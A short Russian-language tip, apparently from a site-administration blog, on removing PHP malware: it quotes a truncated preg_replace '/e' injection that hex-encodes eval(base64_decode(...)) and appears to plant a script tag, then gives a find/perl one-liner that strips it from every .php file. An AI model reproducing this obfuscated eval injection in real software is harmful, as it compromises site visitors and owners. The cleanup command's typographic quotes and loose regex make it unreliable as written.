Для того, чтобы удалить код, который начинается и заканчивается на приведенный вариант,
preg_replace(“/.*/e”,”\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’aWYgKChwcmVnX21hdGNo
…
eS0xLjcuMS5qcyI+PC9zY3JpcHQ+JzsgZmx1c2goKTsgfQ==’\x29\x29\x3B”, “.”); ?>
можно попробовать следующий вариант
find ./ -type f -name “*.php” -exec perl -pi -e ‘s/preg_replace\(.*\”\,\ \”\.\”\)\;\ \?\>//g”’ ‘{}’ \;
Как обычно, не забываем сделать резервную копию директории сайта перед выполнением данной команды.
Удаление кода preg_replace(“/.*/e”,”\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’aWYg